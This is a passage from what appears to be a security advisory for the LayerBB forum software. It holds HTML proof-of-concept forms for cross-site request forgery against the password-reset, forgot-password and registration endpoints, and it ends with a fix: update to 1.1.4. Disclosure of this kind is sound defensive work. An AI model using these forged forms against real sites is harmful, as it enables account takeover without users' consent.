    &lt;input type="submit" name="forget" value="Send Email" class="btn btn-default"&gt;
&lt;/form&gt;
&lt;!-- Forgot Password CSRF End --&gt;

&lt;!-- Reset Password CSRF --&gt;
&lt;form action="http://localhost/members.php/cmd/resetpassword" method="POST" id="LAYER_form" style="padding: 25px;"&gt;
    &lt;label for="password"&gt;Password&lt;/label&gt;
    &lt;input type="password" name="password" id="password" class="form-control"&gt;
    &lt;label for="a_password"&gt;Confirm Password&lt;/label&gt;
    &lt;input type="password" name="a_password" id="a_password" class="form-control"&gt;
    &lt;br&gt;&lt;br&gt;
    &lt;input type="submit" name="reset" value="Reset Password" class="btn btn-default"&gt;
&lt;/form&gt;
&lt;!-- Reset Password CSRF End --&gt;

&lt;!-- Register Account CSRF --&gt;
&lt;form action="http://localhost/members.php/cmd/register" method="POST" style="padding: 25px;"&gt;
    &lt;label for="username"&gt;Username&lt;/label&gt;
    &lt;input type="text" name="username" value="" id="username" class="form-control"&gt;
    &lt;label for="password"&gt;Password&lt;/label&gt;
    &lt;input type="password" name="password" id="password" class="form-control"&gt;
    &lt;label for="a_password"&gt;Confirm Password&lt;/label&gt;
    &lt;input type="password" name="a_password" id="a_password" class="form-control"&gt;
    &lt;label for="email"&gt;Email&lt;/label&gt;
    &lt;input type="text" name="email" value="" id="email" class="form-control"&gt;
    &lt;label for="LayerBB_captcha"&gt;Are you a bot?&lt;/label&gt;&lt;br&gt;
    &lt;img src="http://localhost/public/img/captcha.php" alt="LayerBB Captcha"&gt;&lt;br&gt;&lt;input type="text" id="LayerBB_captcha" name="LayerBB_captcha"&gt;
    &lt;br&gt;&lt;br&gt;
    &lt;input type="submit" name="register" value="Register" class="btn btn-default"&gt;
    By clicking "Register", you agree to abide by the forum rules located &lt;a href="http://localhost/members.php/cmd/rules"&gt;here&lt;/a&gt;.
&lt;/form&gt;
&lt;!-- Register Account CSRF End --&gt;



3. Solution:
Update to 1.1.4